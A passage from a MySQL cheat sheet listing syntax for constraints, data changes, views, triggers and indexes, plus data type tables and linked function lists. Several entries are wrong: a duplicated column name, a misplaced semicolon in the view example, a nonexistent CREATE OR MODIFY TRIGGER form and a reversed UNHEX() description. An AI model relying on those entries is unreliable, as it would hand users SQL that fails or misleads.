c1 INT, c1 INT,
UNIQUE(c2,c3)
);
```
Ensure c1 > 0 and values in c1 >= c2
```sql
CREATE TABLE t(
c1 INT, c2 INT,
CHECK(c1> 0 AND c1 >= c2)
);
```
Set values in c2 column not NULL
```sql
CREATE TABLE t(
c1 INT PRIMARY KEY,
c2 VARCHAR NOT NULL
);
```
### Modifying Data
Insert one row into a table
```sql
INSERT INTO t(column_list)
VALUES(value_list);
```
Insert multiple rows into a table
```sql
INSERT INTO t(column_list)
VALUES (value_list),
(value_list), …;
```
Insert rows from t2 into t1
```sql
INSERT INTO t1(column_list)
SELECT column_list
FROM t2;
```
Update new value in the column c1 for all rows
```sql
UPDATE t
SET c1 = new_value;
```
Update values in the column c1, c2 that match the condition
```sql
UPDATE t
SET c1 = new_value,
c2 = new_value
WHERE condition;
```
Delete all data in a table
```sql
DELETE FROM t;
```
Delete subset of rows in a table
```sql
DELETE FROM t
WHERE condition;
```
### Managing Views
Create a new view that consists of c1 and c2
```sql
CREATE VIEW v(c1,c2)
AS
SELECT c1, c2
FROM t;
```
Create a new view with check option
```sql
CREATE VIEW v(c1,c2)
AS
SELECT c1, c2
FROM t;
WITH [CASCADED | LOCAL] CHECK OPTION;
```
Create a recursive view
```sql
CREATE RECURSIVE VIEW v
AS
select-statement -- anchor part
UNION [ALL]
select-statement; -- recursive part
```
Create a temporary view
```sql
CREATE TEMPORARY VIEW v
AS
SELECT c1, c2
FROM t;
```
Delete a view
```sql
DROP VIEW view_name;
```
### Managing triggers
Create or modify a trigger
```sql
CREATE OR MODIFY TRIGGER trigger_name
WHEN EVENT
ON table_name TRIGGER_TYPE
EXECUTE stored_procedure;
```
#### WHEN
| - | - |
|----------|--------------------------------|
| `BEFORE` | invoke before the event occurs |
| `AFTER` | invoke after the event occurs |
#### EVENT
| - | - |
|----------|-------------------|
| `INSERT` | invoke for INSERT |
| `UPDATE` | invoke for UPDATE |
| `DELETE` | invoke for DELETE |
#### TRIGGER_TYPE
| - | - |
|----------------------|---|
| `FOR EACH ROW` | |
| `FOR EACH STATEMENT` | |
### Managing indexes
Create an index on c1 and c2 of the t table
```sql
CREATE INDEX idx_name
ON t(c1,c2);
```
Create a unique index on c3, c4 of the t table
```sql
CREATE UNIQUE INDEX idx_name
ON t(c3,c4)
```
Drop an index
```sql
DROP INDEX idx_name;
```
MySQL Data Types
---------
### Strings
| - | - |
|--------------|-----------------------------|
| `CHAR` | String (0 - 255) |
| `VARCHAR` | String (0 - 255) |
| `TINYTEXT` | String (0 - 255) |
| `TEXT` | String (0 - 65535) |
| `BLOB` | String (0 - 65535) |
| `MEDIUMTEXT` | String (0 - 16777215) |
| `MEDIUMBLOB` | String (0 - 16777215) |
| `LONGTEXT` | String (0 - 4294967295) |
| `LONGBLOB` | String (0 - 4294967295) |
| `ENUM` | One of preset options |
| `SET` | Selection of preset options |
### Date & time
| Data Type | Format |
|-------------|---------------------|
| `DATE ` | yyyy-MM-dd |
| `TIME ` | hh:mm:ss |
| `DATETIME ` | yyyy-MM-dd hh:mm:ss |
| `TIMESTAMP` | yyyy-MM-dd hh:mm:ss |
| `YEAR ` | yyyy |
### Numeric
| - | - |
|---------------|---------------------------------------------------------------|
| `TINYINT x` | Integer (-128 to 127) |
| `SMALLINT x` | Integer (-32768 to 32767) |
| `MEDIUMINT x` | Integer (-8388608 to 8388607) |
| `INT x` | Integer (-2147483648 to 2147483647) |
| `BIGINT x` | Integer (-9223372036854775808 to 9223372036854775807) |
| `FLOAT` | Decimal (precise to 23 digits) |
| `DOUBLE` | Decimal (24 to 53 digits) |
| `DECIMAL` | "DOUBLE" stored as string |
MySQL Functions & Operators
---------
### Strings {.row-span-2}
- [ASCII()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_ascii){data-tooltip="Return numeric value of left-most character"}
- [BIN()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_bin){data-tooltip="Return a string containing binary representation of a number"}
- [BIT_LENGTH()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_bit-length){data-tooltip="Return length of argument in bits"}
- [CHAR()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_char){data-tooltip="Return the character for each integer passed"}
- [CHARACTER_LENGTH()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_character-length){data-tooltip="Synonym for CHAR_LENGTH()"}
- [CHAR_LENGTH()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_char-length){data-tooltip="Return number of characters in argument"}
- [CONCAT()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_concat){data-tooltip="Return concatenated string"}
- [CONCAT_WS()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_concat-ws){data-tooltip="Return concatenate with separator"}
- [ELT()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_elt){data-tooltip="Return string at index number"}
- [EXPORT_SET()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_export-set){data-tooltip="Return a string such that for every bit set in the value bits, you get an on string and for every unset bit, you get an off string"}
- [FIELD()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_field){data-tooltip="Index (position) of first argument in subsequent arguments"}
- [FIND_IN_SET()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_find-in-set){data-tooltip="Index (position) of first argument within second argument"}
- [FORMAT()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_format){data-tooltip="Return a number formatted to specified number of decimal places"}
- [FROM_BASE64()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_from-base64){data-tooltip="Decode base64 encoded string and return result"}
- [HEX()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_hex){data-tooltip="Hexadecimal representation of decimal or string value"}
- [INSERT()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_insert){data-tooltip="Insert substring at specified position up to specified number of characters"}
- [INSTR()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_instr){data-tooltip="Return the index of the first occurrence of substring"}
- [LCASE()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_lcase){data-tooltip="Synonym for LOWER()"}
- [LEFT()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_left){data-tooltip="Return the leftmost number of characters as specified"}
- [LENGTH()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_length){data-tooltip="Return the length of a string in bytes"}
- [LIKE](https://dev.mysql.com/doc/refman/8.0/en/string-comparison-functions.html#operator_like){data-tooltip="Simple pattern matching"}
- [LOAD_FILE()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_load-file){data-tooltip="Load the named file"}
- [LOCATE()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_locate){data-tooltip="Return the position of the first occurrence of substring"}
- [LOWER()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_lower){data-tooltip="Return the argument in lowercase"}
- [LPAD()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_lpad){data-tooltip="Return the string argument, left-padded with the specified string"}
- [LTRIM()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_ltrim){data-tooltip="Remove leading spaces"}
- [MAKE_SET()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_make-set){data-tooltip="Return a set of comma-separated strings that have the corresponding bit in bits set"}
- [MATCH](https://dev.mysql.com/doc/refman/8.0/en/fulltext-search.html#function_match){data-tooltip="Perform full-text search"}
- [MID()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_mid){data-tooltip="Return a substring starting from the specified position"}
- [NOT LIKE](https://dev.mysql.com/doc/refman/8.0/en/string-comparison-functions.html#operator_not-like){data-tooltip="Negation of simple pattern matching"}
- [NOT REGEXP](https://dev.mysql.com/doc/refman/8.0/en/regexp.html#operator_not-regexp){data-tooltip="Negation of REGEXP"}
- [OCT()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_oct){data-tooltip="Return a string containing octal representation of a number"}
- [OCTET_LENGTH()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_octet-length){data-tooltip="Synonym for LENGTH()"}
- [ORD()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_ord){data-tooltip="Return character code for leftmost character of the argument"}
- [POSITION()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_position){data-tooltip="Synonym for LOCATE()"}
- [QUOTE()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_quote){data-tooltip="Escape the argument for use in an SQL statement"}
- [REGEXP](https://dev.mysql.com/doc/refman/8.0/en/regexp.html#operator_regexp){data-tooltip="Whether string matches regular expression"}
- [REGEXP_INSTR()](https://dev.mysql.com/doc/refman/8.0/en/regexp.html#function_regexp-instr){data-tooltip="Starting index of substring matching regular expression"}
- [REGEXP_LIKE()](https://dev.mysql.com/doc/refman/8.0/en/regexp.html#function_regexp-like){data-tooltip="Whether string matches regular expression"}
- [REGEXP_REPLACE()](https://dev.mysql.com/doc/refman/8.0/en/regexp.html#function_regexp-replace){data-tooltip="Replace substrings matching regular expression"}
- [REGEXP_SUBSTR()](https://dev.mysql.com/doc/refman/8.0/en/regexp.html#function_regexp-substr){data-tooltip="Return substring matching regular expression"}
- [REPEAT()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_repeat){data-tooltip="Repeat a string the specified number of times"}
- [REPLACE()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_replace){data-tooltip="Replace occurrences of a specified string"}
- [REVERSE()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_reverse){data-tooltip="Reverse the characters in a string"}
- [RIGHT()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_right){data-tooltip="Return the specified rightmost number of characters"}
- [RLIKE](https://dev.mysql.com/doc/refman/8.0/en/regexp.html#operator_regexp){data-tooltip="Whether string matches regular expression"}
- [RPAD()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_rpad){data-tooltip="Append string the specified number of times"}
- [RTRIM()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_rtrim){data-tooltip="Remove trailing spaces"}
- [SOUNDEX()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_soundex){data-tooltip="Return a soundex string"}
- [SOUNDS LIKE](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#operator_sounds-like){data-tooltip="Compare sounds"}
- [SPACE()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_space){data-tooltip="Return a string of the specified number of spaces"}
- [STRCMP()](https://dev.mysql.com/doc/refman/8.0/en/string-comparison-functions.html#function_strcmp){data-tooltip="Compare two strings"}
- [SUBSTR()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_substr){data-tooltip="Return the substring as specified"}
- [SUBSTRING()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_substring){data-tooltip="Return the substring as specified"}
- [SUBSTRING_INDEX()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_substring-index){data-tooltip="Return a substring from a string before the specified number of occurrences of the delimiter"}
- [TO_BASE64()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_to-base64){data-tooltip="Return the argument converted to a base-64 string"}
- [TRIM()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_trim){data-tooltip="Remove leading and trailing spaces"}
- [UCASE()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_ucase){data-tooltip="Synonym for UPPER()"}
- [UNHEX()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_unhex){data-tooltip="Return a string containing hex representation of a number"}
- [UPPER()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_upper){data-tooltip="Convert to uppercase"}
- [WEIGHT_STRING()](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_weight-string){data-tooltip="Return the weight string for a string"}
{.cols-2}
### Date and Time {.row-span-2}
- [ADDDATE()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_adddate){data-tooltip="Add time values (intervals) to a date value"}
- [ADDTIME()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_addtime){data-tooltip="Add time"}
- [CONVERT_TZ()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_convert-tz){data-tooltip="Convert from one time zone to another"}
- [CURDATE()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_curdate){data-tooltip="Return the current date"}
- [CURRENT_DATE()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_current-date){data-tooltip="Synonyms for CURDATE()"}
- [CURRENT_TIME()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_current-time){data-tooltip="Synonyms for CURTIME()"}
- [CURRENT_TIMESTAMP()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_current-timestamp){data-tooltip="Synonyms for NOW()"}
- [CURTIME()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_curtime){data-tooltip="Return the current time"}
- [DATE()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_date){data-tooltip="Extract the date part of a date or datetime expression"}
- [DATE_ADD()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_date-add){data-tooltip="Add time values (intervals) to a date value"}
- [DATE_FORMAT()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_date-format){data-tooltip="Format date as specified"}
- [DATE_SUB()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_date-sub){data-tooltip="Subtract a time value (interval) from a date"}
- [DATEDIFF()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_datediff){data-tooltip="Subtract two dates"}
- [DAY()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_day){data-tooltip="Synonym for DAYOFMONTH()"}
- [DAYNAME()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_dayname){data-tooltip="Return the name of the weekday"}
- [DAYOFMONTH()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_dayofmonth){data-tooltip="Return the day of the month (0-31)"}
- [DAYOFWEEK()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_dayofweek){data-tooltip="Return the weekday index of the argument"}
- [DAYOFYEAR()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_dayofyear){data-tooltip="Return the day of the year (1-366)"}
- [EXTRACT()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_extract){data-tooltip="Extract part of a date"}
- [FROM_DAYS()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_from-days){data-tooltip="Convert a day number to a date"}
- [FROM_UNIXTIME()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_from-unixtime){data-tooltip="Format Unix timestamp as a date"}
- [GET_FORMAT()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_get-format){data-tooltip="Return a date format string"}
- [HOUR()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_hour){data-tooltip="Extract the hour"}
- [LAST_DAY](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_last-day){data-tooltip="Return the last day of the month for the argument"}
- [LOCALTIME()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_localtime){data-tooltip="Synonym for NOW()"}
- [LOCALTIMESTAMP()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_localtimestamp){data-tooltip="Synonym for NOW()"}
- [MAKEDATE()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_makedate){data-tooltip="Create a date from the year and day of year"}
- [MAKETIME()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_maketime){data-tooltip="Create time from hour, minute, second"}
- [MICROSECOND()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_microsecond){data-tooltip="Return the microseconds from argument"}
- [MINUTE()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_minute){data-tooltip="Return the minute from the argument"}
- [MONTH()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_month){data-tooltip="Return the month from the date passed"}
- [MONTHNAME()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_monthname){data-tooltip="Return the name of the month"}
- [NOW()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_now){data-tooltip="Return the current date and time"}
- [PERIOD_ADD()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_period-add){data-tooltip="Add a period to a year-month"}
- [PERIOD_DIFF()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_period-diff){data-tooltip="Return the number of months between periods"}
- [QUARTER()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_quarter){data-tooltip="Return the quarter from a date argument"}
- [SEC_TO_TIME()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_sec-to-time){data-tooltip="Converts seconds to 'hh:mm:ss' format"}
- [SECOND()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_second){data-tooltip="Return the second (0-59)"}
- [STR_TO_DATE()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_str-to-date){data-tooltip="Convert a string to a date"}
- [SUBDATE()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_subdate){data-tooltip="Synonym for DATE_SUB() when invoked with three arguments"}
- [SUBTIME()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_subtime){data-tooltip="Subtract times"}
- [SYSDATE()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_sysdate){data-tooltip="Return the time at which the function executes"}
- [TIME()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_time){data-tooltip="Extract the time portion of the expression passed"}
- [TIME_FORMAT()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_time-format){data-tooltip="Format as time"}
- [TIME_TO_SEC()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_time-to-sec){data-tooltip="Return the argument converted to seconds"}
- [TIMEDIFF()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_timediff){data-tooltip="Subtract time"}
- [TIMESTAMP()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_timestamp){data-tooltip="With a single argument, this function returns the date or datetime expression; with two arguments, the sum of the arguments"}
- [TIMESTAMPADD()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_timestampadd){data-tooltip="Add an interval to a datetime expression"}
- [TIMESTAMPDIFF()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_timestampdiff){data-tooltip="Subtract an interval from a datetime expression"}
- [TO_DAYS()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_to-days){data-tooltip="Return the date argument converted to days"}
- [TO_SECONDS()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_to-seconds){data-tooltip="Return the date or datetime argument converted to seconds since Year 0"}
- [UNIX_TIMESTAMP()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_unix-timestamp){data-tooltip="Return a Unix timestamp"}
- [UTC_DATE()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_utc-date){data-tooltip="Return the current UTC date"}
- [UTC_TIME()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_utc-time){data-tooltip="Return the current UTC time"}
- [UTC_TIMESTAMP()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_utc-timestamp){data-tooltip="Return the current UTC date and time"}
- [WEEK()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_week){data-tooltip="Return the week number"}
- [WEEKDAY()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_weekday){data-tooltip="Return the weekday index"}
- [WEEKOFYEAR()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_weekofyear){data-tooltip="Return the calendar week of the date (1-53)"}
- [YEAR()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_year){data-tooltip="Return the year"}
- [YEARWEEK()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_yearweek){data-tooltip="Return the year and week"}
- [GET_FORMAT()](https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html#function_get-format){data-tooltip="'%m.%d.%Y'"}
{.cols-2}
### Numeric
- [%, MOD](https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html#operator_mod){data-tooltip="Modulo operator"}
- [*](https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html#operator_times){data-tooltip="Multiplication operator"}
- [+](https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html#operator_plus){data-tooltip="Addition operator"}
- [-](https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html#operator_minus){data-tooltip="Minus operator"}
- [-](https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html#operator_unary-minus){data-tooltip="Change the sign of the argument"}
- [/](https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html#operator_divide){data-tooltip="Division operator"}
- [ABS()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_abs){data-tooltip="Return the absolute value"}
- [ACOS()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_acos){data-tooltip="Return the arc cosine"}
- [ASIN()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_asin){data-tooltip="Return the arc sine"}
- [ATAN()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_atan){data-tooltip="Return the arc tangent"}
- [ATAN2(), ATAN()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_atan2){data-tooltip="Return the arc tangent of the two arguments"}
- [CEIL()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_ceil){data-tooltip="Return the smallest integer value not less than the argument"}
- [CEILING()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_ceiling){data-tooltip="Return the smallest integer value not less than the argument"}
- [CONV()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_conv){data-tooltip="Convert numbers between different number bases"}
- [COS()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_cos){data-tooltip="Return the cosine"}
- [COT()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_cot){data-tooltip="Return the cotangent"}
- [CRC32()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_crc32){data-tooltip="Compute a cyclic redundancy check value"}
- [DEGREES()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_degrees){data-tooltip="Convert radians to degrees"}
- [DIV](https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html#operator_div){data-tooltip="Integer division"}
- [EXP()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_exp){data-tooltip="Raise to the power of"}
- [FLOOR()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_floor){data-tooltip="Return the largest integer value not greater than the argument"}
- [LN()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_ln){data-tooltip="Return the natural logarithm of the argument"}
- [LOG()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_log){data-tooltip="Return the natural logarithm of the first argument"}
- [LOG10()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_log10){data-tooltip="Return the base-10 logarithm of the argument"}
- [LOG2()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_log2){data-tooltip="Return the base-2 logarithm of the argument"}
- [MOD()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_mod){data-tooltip="Return the remainder"}
- [PI()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_pi){data-tooltip="Return the value of pi"}
- [POW()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_pow){data-tooltip="Return the argument raised to the specified power"}
- [POWER()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_power){data-tooltip="Return the argument raised to the specified power"}
- [RADIANS()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_radians){data-tooltip="Return argument converted to radians"}
- [RAND()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_rand){data-tooltip="Return a random floating-point value"}
- [ROUND()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_round){data-tooltip="Round the argument"}
- [SIGN()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_sign){data-tooltip="Return the sign of the argument"}
- [SIN()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_sin){data-tooltip="Return the sine of the argument"}
- [SQRT()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_sqrt){data-tooltip="Return the square root of the argument"}
- [TAN()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_tan){data-tooltip="Return the tangent of the argument"}
- [TRUNCATE()](https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_truncate){data-tooltip="Truncate to specified number of decimal places"}
{.cols-2}
### Aggregate
- [AVG()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_avg){data-tooltip="Return the average value of the argument"}
- [BIT_AND()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_bit-and){data-tooltip="Return bitwise AND"}
- [BIT_OR()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_bit-or){data-tooltip="Return bitwise OR"}
- [BIT_XOR()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_bit-xor){data-tooltip="Return bitwise XOR"}
- [COUNT()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_count){data-tooltip="Return a count of the number of rows returned"}
- [COUNT(DISTINCT)](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_count-distinct){data-tooltip="Return the count of a number of different values"}
- [GROUP_CONCAT()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_group-concat){data-tooltip="Return a concatenated string"}
- [JSON_ARRAYAGG()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_json-arrayagg){data-tooltip="Return result set as a single JSON array"}
- [JSON_OBJECTAGG()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_json-objectagg){data-tooltip="Return result set as a single JSON object"}
- [MAX()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_max){data-tooltip="Return the maximum value"}
- [MIN()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_min){data-tooltip="Return the minimum value"}
- [STD()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_std){data-tooltip="Return the population standard deviation"}
- [STDDEV()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_stddev){data-tooltip="Return the population standard deviation"}
- [STDDEV_POP()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_stddev-pop){data-tooltip="Return the population standard deviation"}
- [STDDEV_SAMP()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_stddev-samp){data-tooltip="Return the sample standard deviation"}
- [SUM()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_sum){data-tooltip="Return the sum"}
- [VAR_POP()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_var-pop){data-tooltip="Return the population standard variance"}
- [VAR_SAMP()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_var-samp){data-tooltip="Return the sample variance"}
- [VARIANCE()](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_variance){data-tooltip="Return the population standard variance"}
{.cols-2}
### JSON {.row-span-4}
- [->](https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html#operator_json-column-path){data-tooltip="Return value from JSON column after evaluating path; equivalent to JSON_EXTRACT()."}
- [->>](https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html#operator_json-inline-path){data-tooltip="Return value from JSON column after evaluating path and unquoting the result; equivalent to JSON_UNQUOTE(JSON_EXTRACT())."}
- [JSON_ARRAY()](https://dev.mysql.com/doc/refman/8.0/en/json-creation-functions.html#function_json-array){data-tooltip="Create JSON array"}
- [JSON_ARRAY_APPEND()](https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html#function_json-array-append){data-tooltip="Append data to JSON document"}
- [JSON_ARRAY_INSERT()](https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html#function_json-array-insert){data-tooltip="Insert into JSON array"}
- [JSON_CONTAINS()](https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html#function_json-contains){data-tooltip="Whether JSON document contains specific object at path"}
- [JSON_CONTAINS_PATH()](https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html#function_json-contains-path){data-tooltip="Whether JSON document contains any data at path"}
- [JSON_DEPTH()](https://dev.mysql.com/doc/refman/8.0/en/json-attribute-functions.html#function_json-depth){data-tooltip="Maximum depth of JSON document"}
- [JSON_EXTRACT()](https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html#function_json-extract){data-tooltip="Return data from JSON document"}
- [JSON_INSERT()](https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html#function_json-insert){data-tooltip="Insert data into JSON document"}
